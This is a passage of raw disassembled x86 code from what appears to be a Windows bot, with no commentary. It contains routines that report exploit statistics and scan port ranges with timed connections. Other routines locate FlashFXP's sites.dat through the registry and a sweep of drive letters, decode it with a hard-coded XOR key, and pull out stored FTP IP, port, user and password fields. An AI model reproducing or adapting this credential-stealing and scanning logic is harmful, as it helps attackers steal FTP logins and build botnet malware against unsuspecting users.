		pop	ecx
		pop	ecx
		push	offset aListingExploit ; "Listing exploit statistics"
		push	0
		push	[ebp+var_4]
		push	offset sub_414052
		call	sub_4095A4
		add	esp, 10h

locret_4141BF:				; CODE XREF: sub_41417D+18j
		leave
		retn
sub_41417D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4141C1	proc near		; DATA XREF: sub_4142BF+E2o

var_2BC		= dword	ptr -2BCh
var_2B8		= byte ptr -2B8h
var_1B8		= byte ptr -1B8h
var_1B2		= dword	ptr -1B2h
var_1AE		= byte ptr -1AEh
var_16		= byte ptr -16h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 2BCh
		push	2B1h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_2BC]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		call	sub_416B64	; clock
		mov	[ebp+var_4], eax
		push	[ebp+var_1B2]
		push	0
		lea	eax, [ebp+var_1B8]
		push	eax
		lea	eax, [ebp+var_2B8]
		push	eax
		call	sub_4050EA
		add	esp, 10h
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jz	short loc_41424F
		push	[ebp+var_8]
		call	sub_4053B1
		pop	ecx
		call	sub_416B64	; clock
		sub	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_1B8]
		push	eax
		lea	eax, [ebp+var_2B8]
		push	eax
		push	offset dword_41D028
		lea	eax, [ebp+var_1AE]
		push	eax
		call	sub_40D53F
		add	esp, 14h
		jmp	short loc_4142AD
; ---------------------------------------------------------------------------


loc_41424F:				; CODE XREF: sub_4141C1+56j
		movsx	eax, [ebp+var_16]
		test	eax, eax
		jnz	short loc_4142AD
		call	sub_416B64	; clock
		sub	eax, [ebp+var_4]
		cmp	eax, [ebp+var_1B2]
		jb	short loc_41428B
		lea	eax, [ebp+var_1B8]
		push	eax
		lea	eax, [ebp+var_2B8]
		push	eax
		push	offset dword_41CFF0
		lea	eax, [ebp+var_1AE]
		push	eax
		call	sub_40D53F
		add	esp, 10h
		jmp	short loc_4142AD
; ---------------------------------------------------------------------------


loc_41428B:				; CODE XREF: sub_4141C1+A4j
		lea	eax, [ebp+var_1B8]
		push	eax
		lea	eax, [ebp+var_2B8]
		push	eax
		push	offset dword_41CFC0
		lea	eax, [ebp+var_1AE]
		push	eax
		call	sub_40D53F
		add	esp, 10h


loc_4142AD:				; CODE XREF: sub_4141C1+8Cj
					; sub_4141C1+94j ...
		push	[ebp+var_2BC]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		leave
		retn	4
sub_4141C1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4142BF	proc near		; CODE XREF: sub_40A9CF+1B5Ep

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		cmp	[ebp+arg_4], 0
		jnz	short loc_4142D0
		jmp	locret_4143AE
; ---------------------------------------------------------------------------


loc_4142D0:				; CODE XREF: sub_4142BF+Aj
		cmp	[ebp+arg_8], 0
		jnz	short loc_4142DD
		mov	[ebp+arg_8], offset a80	; "80"


loc_4142DD:				; CODE XREF: sub_4142BF+15j
		push	[ebp+arg_8]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jz	short loc_4142F8
		cmp	[ebp+var_8], 0FFFFh
		jbe	short loc_4142FD


loc_4142F8:				; CODE XREF: sub_4142BF+2Ej
		jmp	locret_4143AE
; ---------------------------------------------------------------------------


loc_4142FD:				; CODE XREF: sub_4142BF+37j
		cmp	[ebp+arg_C], 0
		jz	short loc_414311
		push	[ebp+arg_C]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_10], eax
		jmp	short loc_414318
; ---------------------------------------------------------------------------


loc_414311:				; CODE XREF: sub_4142BF+42j
		mov	[ebp+var_10], 0EA60h


loc_414318:				; CODE XREF: sub_4142BF+50j
		mov	eax, [ebp+var_10]
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_41432D
		cmp	[ebp+var_4], 36EE80h
		jbe	short loc_41432F


loc_41432D:				; CODE XREF: sub_4142BF+63j
		jmp	short locret_4143AE
; ---------------------------------------------------------------------------


loc_41432F:				; CODE XREF: sub_4142BF+6Cj
		push	2B1h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jnz	short loc_414345
		jmp	short locret_4143AE
; ---------------------------------------------------------------------------


loc_414345:				; CODE XREF: sub_4142BF+82j
		push	100h
		push	[ebp+arg_4]
		mov	eax, [ebp+var_C]
		add	eax, 4
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		push	6
		push	[ebp+arg_8]
		mov	eax, [ebp+var_C]
		add	eax, 104h
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		mov	eax, [ebp+var_C]
		mov	ecx, [ebp+var_4]
		mov	[eax+10Ah], ecx
		push	[ebp+arg_0]
		mov	eax, [ebp+var_C]
		add	eax, 10Eh
		push	eax
		call	sub_405F67
		pop	ecx
		pop	ecx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	offset dword_41D058
		push	0
		push	[ebp+var_C]
		push	offset sub_4141C1
		call	sub_4095A4
		add	esp, 18h

locret_4143AE:				; CODE XREF: sub_4142BF+Cj
					; sub_4142BF:loc_4142F8j ...
		leave
		retn
sub_4142BF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4143B0	proc near		; DATA XREF: sub_414600+1D6o

var_2E8		= qword	ptr -2E8h
var_2DC		= dword	ptr -2DCh
var_2D8		= dword	ptr -2D8h
var_2D4		= byte ptr -2D4h
var_2D0		= dword	ptr -2D0h
var_2CC		= byte ptr -2CCh
var_2C4		= dword	ptr -2C4h
var_2C0		= dword	ptr -2C0h
var_2BC		= byte ptr -2BCh
var_1BC		= word ptr -1BCh
var_1BA		= word ptr -1BAh
var_1B8		= dword	ptr -1B8h
var_1B4		= dword	ptr -1B4h
var_1B0		= byte ptr -1B0h
var_18		= byte ptr -18h
var_C		= word ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 2DCh
		push	2B3h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		mov	ax, [ebp+var_1BC]
		mov	[ebp+var_C], ax
		push	[ebp+var_1B4]
		call	sub_404D10
		pop	ecx
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jnz	short loc_41440C
		push	[ebp+var_2C0]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_4145FC
; ---------------------------------------------------------------------------


loc_41440C:				; CODE XREF: sub_4143B0+47j
		push	[ebp+var_1B4]
		movzx	eax, [ebp+var_1BA]
		push	eax
		movzx	eax, [ebp+var_1BC]
		push	eax
		lea	eax, [ebp+var_2BC]
		push	eax
		mov	eax, [ebp+var_2C0]
		push	dword ptr [eax]
		push	offset dword_41D0C8
		lea	eax, [ebp+var_1B0]
		push	eax
		call	sub_40D53F
		add	esp, 1Ch
		movsx	eax, [ebp+var_18]
		test	eax, eax
		jnz	short loc_414458
		push	3E8h
		call	dword_41709C	; Sleep


loc_414458:				; CODE XREF: sub_4143B0+9Bj
		call	sub_416B64	; clock
		mov	[ebp+var_2C4], eax
		and	[ebp+var_4], 0


loc_414467:				; CODE XREF: sub_4143B0+13Aj
					; sub_4143B0+1F0j
		mov	eax, [ebp+var_2C0]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_414482
		movzx	eax, [ebp+var_C]
		movzx	ecx, [ebp+var_1BA]
		cmp	eax, ecx
		jle	short loc_414487


loc_414482:				; CODE XREF: sub_4143B0+C1j
		jmp	loc_4145A5
; ---------------------------------------------------------------------------


loc_414487:				; CODE XREF: sub_4143B0+D0j
		push	0Ah
		lea	eax, [ebp+var_2CC]
		push	eax
		movzx	eax, [ebp+var_C]
		push	eax
		call	sub_416F7A	; _itoa
		add	esp, 0Ch
		push	[ebp+var_8]
		push	0
		lea	eax, [ebp+var_2CC]
		push	eax
		lea	eax, [ebp+var_2BC]
		push	eax
		call	sub_404FE7
		add	esp, 0Ch
		push	eax
		call	sub_404D4D
		pop	ecx
		pop	ecx
		mov	[ebp+var_2D0], eax
		mov	ax, [ebp+var_C]
		add	ax, 1
		mov	[ebp+var_C], ax
		cmp	[ebp+var_2D0], 0
		jz	short loc_4144EF
		movzx	eax, [ebp+var_C]
		movzx	ecx, [ebp+var_1BA]
		cmp	eax, ecx
		jg	short loc_4144EF
		jmp	loc_414467
; ---------------------------------------------------------------------------


loc_4144EF:				; CODE XREF: sub_4143B0+129j
					; sub_4143B0+138j
		push	[ebp+var_1B8]
		call	dword_41709C	; Sleep
		push	[ebp+var_8]
		call	sub_404E1C
		pop	ecx
		test	eax, eax
		jz	loc_414597


loc_41450C:				; CODE XREF: sub_4143B0+1E2j
		mov	eax, [ebp+var_2C0]
		cmp	dword ptr [eax+4], 0
		jz	short loc_41451A
		jmp	short loc_414597
; ---------------------------------------------------------------------------


loc_41451A:				; CODE XREF: sub_4143B0+166j
		push	[ebp+var_8]
		call	sub_404F24
		pop	ecx
		mov	[ebp+var_2D8], eax
		cmp	[ebp+var_2D8], 0
		jnz	short loc_414534
		jmp	short loc_414597
; ---------------------------------------------------------------------------


loc_414534:				; CODE XREF: sub_4143B0+180j
		lea	eax, [ebp+var_2CC]
		push	eax
		push	[ebp+var_2D8]
		call	sub_4045B2
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax
		mov	al, [ebp+var_18]
		mov	[ebp+var_2D4], al
		and	[ebp+var_18], 0
		lea	eax, [ebp+var_2CC]
		push	eax
		lea	eax, [ebp+var_2BC]
		push	eax
		push	offset dword_41D0B4
		lea	eax, [ebp+var_1B0]
		push	eax
		call	sub_40D53F
		add	esp, 10h
		mov	al, [ebp+var_2D4]
		mov	[ebp+var_18], al
		push	3E8h
		call	dword_41709C	; Sleep
		jmp	loc_41450C
; ---------------------------------------------------------------------------


loc_414597:				; CODE XREF: sub_4143B0+156j
					; sub_4143B0+168j ...
		push	[ebp+var_8]
		call	sub_404F7D
		pop	ecx
		jmp	loc_414467
; ---------------------------------------------------------------------------


loc_4145A5:				; CODE XREF: sub_4143B0:loc_414482j
		push	[ebp+var_4]
		call	sub_416B64	; clock
		sub	eax, [ebp+var_2C4]
		mov	[ebp+var_2DC], eax
		fild	[ebp+var_2DC]
		fdiv	flt_417270
		push	ecx
		push	ecx
		fstp	[esp+2E8h+var_2E8]
		lea	eax, [ebp+var_2BC]
		push	eax
		push	offset unk_41D078
		lea	eax, [ebp+var_1B0]
		push	eax
		call	sub_40D53F
		add	esp, 18h
		push	[ebp+var_8]
		call	sub_404FD0
		pop	ecx
		push	[ebp+var_2C0]
		call	sub_409763
		pop	ecx
		xor	eax, eax

locret_4145FC:				; CODE XREF: sub_4143B0+57j
		leave
		retn	4
sub_4143B0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414600	proc near		; CODE XREF: sub_40A9CF+C9Cp

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 28h
		cmp	[ebp+arg_4], 0
		jz	short loc_414612
		cmp	[ebp+arg_8], 0
		jnz	short loc_414617


loc_414612:				; CODE XREF: sub_414600+Aj
		jmp	locret_4147E3
; ---------------------------------------------------------------------------


loc_414617:				; CODE XREF: sub_414600+10j
		cmp	[ebp+arg_C], 0
		jnz	short loc_414623
		mov	eax, [ebp+arg_8]
		mov	[ebp+arg_C], eax


loc_414623:				; CODE XREF: sub_414600+1Bj
		push	[ebp+arg_8]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jz	short loc_41463E
		cmp	[ebp+var_8], 0FFFFh
		jbe	short loc_414643


loc_41463E:				; CODE XREF: sub_414600+33j
		jmp	locret_4147E3
; ---------------------------------------------------------------------------


loc_414643:				; CODE XREF: sub_414600+3Cj
		push	[ebp+arg_C]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_14], eax
		cmp	[ebp+var_14], 0
		jz	short loc_41465E
		cmp	[ebp+var_14], 0FFFFh
		jbe	short loc_414663


loc_41465E:				; CODE XREF: sub_414600+53j
		jmp	locret_4147E3
; ---------------------------------------------------------------------------


loc_414663:				; CODE XREF: sub_414600+5Cj
		push	2B3h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_41467C
		jmp	locret_4147E3
; ---------------------------------------------------------------------------


loc_41467C:				; CODE XREF: sub_414600+75j
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+var_14]
		jbe	short loc_414696
		mov	eax, [ebp+var_14]
		mov	[ebp+var_18], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_14], eax
		mov	eax, [ebp+var_18]
		mov	[ebp+var_8], eax


loc_414696:				; CODE XREF: sub_414600+82j
		cmp	[ebp+arg_10], 0
		jz	short loc_4146AA
		push	[ebp+arg_10]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_1C], eax
		jmp	short loc_4146B1
; ---------------------------------------------------------------------------


loc_4146AA:				; CODE XREF: sub_414600+9Aj
		mov	[ebp+var_1C], 7D0h


loc_4146B1:				; CODE XREF: sub_414600+A8j
		mov	eax, [ebp+var_1C]
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jz	short loc_4146C6
		cmp	[ebp+var_C], 0EA60h
		jbe	short loc_4146CD


loc_4146C6:				; CODE XREF: sub_414600+BBj
		mov	[ebp+var_C], 7D0h


loc_4146CD:				; CODE XREF: sub_414600+C4j
		cmp	[ebp+arg_14], 0
		jz	short loc_4146E1
		push	[ebp+arg_14]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_20], eax
		jmp	short loc_4146E8
; ---------------------------------------------------------------------------


loc_4146E1:				; CODE XREF: sub_414600+D1j
		mov	[ebp+var_20], 100h


loc_4146E8:				; CODE XREF: sub_414600+DFj
		mov	eax, [ebp+var_20]
		mov	[ebp+var_10], eax
		cmp	[ebp+var_10], 0
		jz	short loc_4146FD
		cmp	[ebp+var_10], 200h
		jbe	short loc_414704


loc_4146FD:				; CODE XREF: sub_414600+F2j
		mov	[ebp+var_10], 100h


loc_414704:				; CODE XREF: sub_414600+FBj
		push	100h
		push	[ebp+arg_4]
		mov	eax, [ebp+var_4]
		add	eax, 4
		push	eax
		call	sub_416B58	; strncpy
		add	esp, 0Ch
		mov	eax, [ebp+var_4]
		mov	cx, word ptr [ebp+var_8]
		mov	[eax+104h], cx
		mov	eax, [ebp+var_4]
		mov	cx, word ptr [ebp+var_14]
		mov	[eax+106h], cx
		cmp	[ebp+var_C], 0EA60h
		jbe	short loc_414749
		mov	[ebp+var_24], 0EA60h
		jmp	short loc_41474F
; ---------------------------------------------------------------------------


loc_414749:				; CODE XREF: sub_414600+13Ej
		mov	eax, [ebp+var_C]
		mov	[ebp+var_24], eax


loc_41474F:				; CODE XREF: sub_414600+147j
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+var_24]
		mov	[eax+108h], ecx
		cmp	[ebp+var_10], 200h
		jbe	short loc_41476D
		mov	[ebp+var_28], 200h
		jmp	short loc_414773
; ---------------------------------------------------------------------------


loc_41476D:				; CODE XREF: sub_414600+162j
		mov	eax, [ebp+var_10]
		mov	[ebp+var_28], eax


loc_414773:				; CODE XREF: sub_414600+16Bj
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+var_28]
		mov	[eax+10Ch], ecx
		push	1A3h
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		add	eax, 110h
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+10Ch]
		mov	eax, [ebp+var_4]
		movzx	eax, word ptr [eax+106h]
		push	eax
		mov	eax, [ebp+var_4]
		movzx	eax, word ptr [eax+104h]
		push	eax
		mov	eax, [ebp+var_4]
		add	eax, 4
		push	eax
		push	offset dword_41D110
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax+18Bh]
		neg	eax
		sbb	eax, eax
		inc	eax
		push	eax
		push	[ebp+var_4]
		push	offset sub_4143B0
		call	sub_4095A4
		add	esp, 20h

locret_4147E3:				; CODE XREF: sub_414600:loc_414612j
					; sub_414600:loc_41463Ej ...
		leave
		retn
sub_414600	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4147E5	proc near		; CODE XREF: sub_414A1E+373p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	[ebp+var_8], offset aYa36za48dehfrv ; "yA36zA48dEhfrvghGRg57h5UlDv3"
		lea	eax, [ebp+var_10]
		push	eax
		push	offset dword_418B54
		push	[ebp+arg_4]
		call	sub_416BA2	; sscanf
		add	esp, 0Ch
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_414816
		xor	eax, eax
		jmp	locret_4148CC
; ---------------------------------------------------------------------------


loc_414816:				; CODE XREF: sub_4147E5+28j
		mov	eax, [ebp+arg_4]
		inc	eax
		inc	eax
		mov	[ebp+arg_4], eax


loc_41481E:				; CODE XREF: sub_4147E5:loc_4148BEj
		lea	eax, [ebp+var_C]
		push	eax
		push	offset dword_418B54
		push	[ebp+arg_4]
		call	sub_416BA2	; sscanf
		add	esp, 0Ch
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_414842
		xor	eax, eax
		jmp	locret_4148CC
; ---------------------------------------------------------------------------


loc_414842:				; CODE XREF: sub_4147E5+54j
		mov	eax, [ebp+var_8]
		movsx	eax, byte ptr [eax]
		mov	ecx, [ebp+var_C]
		xor	ecx, eax
		mov	[ebp+var_C], ecx
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_10]
		cmp	eax, [ebp+var_C]
		jl	short loc_414866
		mov	eax, [ebp+var_C]
		dec	eax
		mov	[ebp+var_C], eax


loc_414866:				; CODE XREF: sub_4147E5+78j
		mov	eax, [ebp+var_C]
		sub	eax, [ebp+var_10]
		mov	ecx, [ebp+arg_0]
		mov	[ecx], al
		mov	eax, [ebp+arg_0]
		inc	eax
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+var_10]
		push	eax
		push	offset dword_418B54
		push	[ebp+arg_4]
		call	sub_416BA2	; sscanf
		add	esp, 0Ch
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_414899
		xor	eax, eax
		jmp	short locret_4148CC
; ---------------------------------------------------------------------------


loc_414899:				; CODE XREF: sub_4147E5+AEj
		mov	eax, [ebp+arg_4]
		inc	eax
		inc	eax
		mov	[ebp+arg_4], eax
		mov	eax, [ebp+var_8]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_4148B2
		mov	[ebp+var_8], offset aYa36za48dehfrv ; "yA36zA48dEhfrvghGRg57h5UlDv3"


loc_4148B2:				; CODE XREF: sub_4147E5+C4j
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_4148BE
		jmp	short loc_4148C3
; ---------------------------------------------------------------------------


loc_4148BE:				; CODE XREF: sub_4147E5+D5j
		jmp	loc_41481E
; ---------------------------------------------------------------------------


loc_4148C3:				; CODE XREF: sub_4147E5+D7j
		mov	eax, [ebp+arg_0]
		and	byte ptr [eax],	0
		push	1
		pop	eax

locret_4148CC:				; CODE XREF: sub_4147E5+2Cj
					; sub_4147E5+58j ...
		leave
		retn
sub_4147E5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4148CE	proc near		; CODE XREF: sub_414A1E+30p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		and	[ebp+var_14], 0
		lea	eax, [ebp+var_14]
		push	eax
		push	20019h
		push	0
		push	offset aSoftwareClasse ; "SOFTWARE\\Classes\\Applications\\FlashFXP."...
		push	80000002h
		call	dword_417008	; RegOpenKeyExA
		mov	[ebp+var_10], eax
		mov	[ebp+var_4], 104h
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+arg_0]
		push	0
		push	0
		push	0
		push	[ebp+var_14]
		call	dword_41700C	; RegQueryValueExA
		mov	[ebp+var_10], eax
		push	[ebp+var_14]
		call	dword_417028	; RegCloseKey
		cmp	[ebp+var_10], 0
		jnz	short loc_414971
		push	offset aFlashfxp_exe1 ;	"FlashFXP.exe %1"
		push	4
		push	[ebp+arg_0]
		call	sub_407ACA
		add	esp, 0Ch
		mov	[ebp+var_18], eax
		cmp	[ebp+var_18], 0
		jnz	short loc_414945
		jmp	loc_414A17
; ---------------------------------------------------------------------------


loc_414945:				; CODE XREF: sub_4148CE+70j
		push	offset aSites_dat ; "sites.dat"
		push	[ebp+var_18]
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_18]
		add	eax, 0Fh
		push	eax
		mov	eax, [ebp+var_18]
		add	eax, 9
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		push	1
		pop	eax
		jmp	locret_414A1C
; ---------------------------------------------------------------------------


loc_414971:				; CODE XREF: sub_4148CE+55j
					; sub_4148CE:loc_414A17j
		push	104h
		push	[ebp+arg_0]
		push	offset aProgramfiles ; "ProgramFiles"
		call	dword_417104	; GetEnvironmentVariableA
		push	offset aFlashfxpSites_ ; "\\FlashFXP\\sites.dat"
		push	[ebp+arg_0]
		call	sub_416B70	; _mbscat
		pop	ecx
		pop	ecx
		push	offset aRb	; "rb"
		push	[ebp+arg_0]
		call	sub_416B88	; fopen
		pop	ecx
		pop	ecx
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jz	short loc_4149B0
		push	1
		pop	eax
		jmp	short locret_414A1C
; ---------------------------------------------------------------------------


loc_4149B0:				; CODE XREF: sub_4148CE+DBj
		mov	eax, dword_419398
		mov	[ebp+var_C], eax


loc_4149B8:				; CODE XREF: sub_4148CE+143j
		lea	eax, [ebp+var_C]
		push	eax
		call	dword_4170CC	; GetDriveTypeA
		mov	[ebp+var_1C], eax
		cmp	[ebp+var_1C], 5
		jz	short loc_414A02
		cmp	[ebp+var_1C], 2
		jz	short loc_414A02
		lea	eax, [ebp+var_C]
		push	eax
		push	offset aSflashfxpSites ; "%sFlashFXP\\sites.dat"
		push	[ebp+arg_0]
		call	sub_416B5E	; sprintf
		add	esp, 0Ch
		push	offset aRb	; "rb"
		push	[ebp+arg_0]
		call	sub_416B88	; fopen
		pop	ecx
		pop	ecx
		mov	[ebp+var_20], eax
		cmp	[ebp+var_20], 0
		jz	short loc_414A02
		push	1
		pop	eax
		jmp	short locret_414A1C
; ---------------------------------------------------------------------------


loc_414A02:				; CODE XREF: sub_4148CE+FBj
					; sub_4148CE+101j ...
		mov	al, byte ptr [ebp+var_C]
		add	al, 1
		mov	byte ptr [ebp+var_C], al
		movsx	eax, byte ptr [ebp+var_C]
		cmp	eax, 5Ah
		jnz	short loc_4149B8
		xor	eax, eax
		jmp	short locret_414A1C
; ---------------------------------------------------------------------------


loc_414A17:				; CODE XREF: sub_4148CE+72j
		jmp	loc_414971
; ---------------------------------------------------------------------------

locret_414A1C:				; CODE XREF: sub_4148CE+9Ej
					; sub_4148CE+E0j ...
		leave
		retn
sub_4148CE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414A1E	proc near		; DATA XREF: sub_414EB0+35o

var_5E0		= dword	ptr -5E0h
var_5DC		= dword	ptr -5DCh
var_5D8		= dword	ptr -5D8h
var_5D4		= dword	ptr -5D4h
var_5D0		= dword	ptr -5D0h
var_5CC		= dword	ptr -5CCh
var_5C8		= dword	ptr -5C8h
var_5C4		= byte ptr -5C4h
var_544		= byte ptr -544h
var_4C4		= byte ptr -4C4h
var_444		= byte ptr -444h
var_3C4		= dword	ptr -3C4h
var_3C0		= dword	ptr -3C0h
var_3BC		= dword	ptr -3BCh
var_3B8		= dword	ptr -3B8h
var_3B4		= byte ptr -3B4h
var_334		= dword	ptr -334h
var_330		= byte ptr -330h
var_32C		= dword	ptr -32Ch
var_328		= byte ptr -328h
var_190		= byte ptr -190h
var_184		= dword	ptr -184h
var_180		= byte ptr -180h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 5E0h
		push	1A7h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_32C]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		lea	eax, [ebp+var_180]
		push	eax
		call	sub_4148CE
		pop	ecx
		test	eax, eax
		jnz	short loc_414A6B
		push	[ebp+var_32C]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_414EAC
; ---------------------------------------------------------------------------


loc_414A6B:				; CODE XREF: sub_414A1E+38j
		mov	eax, [ebp+var_32C]
		push	dword ptr [eax]
		push	offset unk_41D2E0
		lea	eax, [ebp+var_328]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch
		and	[ebp+var_184], 0
		and	[ebp+var_334], 0
		mov	al, [ebp+var_190]
		mov	[ebp+var_330], al
		and	[ebp+var_190], 0
		push	offset aRb	; "rb"
		lea	eax, [ebp+var_180]
		push	eax
		call	sub_416B88	; fopen
		pop	ecx
		pop	ecx
		mov	[ebp+var_3C4], eax
		cmp	[ebp+var_3C4], 0
		jnz	short loc_414ACF
		jmp	loc_414EAA
; ---------------------------------------------------------------------------


loc_414ACF:				; CODE XREF: sub_414A1E+AAj
		push	2
		push	0
		push	[ebp+var_3C4]
		call	sub_416B96	; fseek
		add	esp, 0Ch
		push	[ebp+var_3C4]
		call	sub_416B76	; ftell
		pop	ecx
		mov	[ebp+var_3C0], eax
		cmp	[ebp+var_3C0], 100000h
		jnb	short loc_414B0D
		mov	eax, [ebp+var_3C0]
		mov	[ebp+var_5E0], eax
		jmp	short loc_414B17
; ---------------------------------------------------------------------------


loc_414B0D:				; CODE XREF: sub_414A1E+DFj
		mov	[ebp+var_5E0], 100000h


loc_414B17:				; CODE XREF: sub_414A1E+EDj
		mov	eax, [ebp+var_5E0]
		mov	[ebp+var_3C0], eax
		push	0
		push	0
		push	[ebp+var_3C4]
		call	sub_416B96	; fseek
		add	esp, 0Ch
		mov	eax, [ebp+var_3C0]
		inc	eax
		push	eax
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_3BC], eax
		cmp	[ebp+var_3BC], 0
		jnz	short loc_414B63
		push	[ebp+var_3C4]
		call	sub_416B82	; fclose
		pop	ecx
		jmp	loc_414EA8
; ---------------------------------------------------------------------------


loc_414B63:				; CODE XREF: sub_414A1E+132j
		push	[ebp+var_3C4]
		push	[ebp+var_3C0]
		push	1
		push	[ebp+var_3BC]
		call	sub_416B90	; fread
		add	esp, 10h
		push	[ebp+var_3C4]
		call	sub_416B82	; fclose
		pop	ecx
		mov	eax, [ebp+var_3BC]
		add	eax, [ebp+var_3C0]
		and	byte ptr [eax],	0
		mov	eax, [ebp+var_3BC]
		mov	[ebp+var_3B8], eax


loc_414BA6:				; CODE XREF: sub_414A1E+428j
		push	offset asc_41D2D8 ; "\r\n\r\n["
		push	[ebp+var_3B8]
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		mov	[ebp+var_5DC], eax
		mov	eax, [ebp+var_3B8]
		mov	[ebp+var_5D0], eax
		push	offset aIp	; "\r\nIP="
		push	[ebp+var_3B8]
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		mov	[ebp+var_5C8], eax
		push	offset aPort	; "\r\nPort="
		push	[ebp+var_3B8]
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		mov	[ebp+var_5D8], eax
		push	offset aUser_0	; "\r\nUser="
		push	[ebp+var_3B8]
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		mov	[ebp+var_5CC], eax
		push	offset aPass_0	; "\r\nPass="
		push	[ebp+var_3B8]
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		mov	[ebp+var_5D4], eax
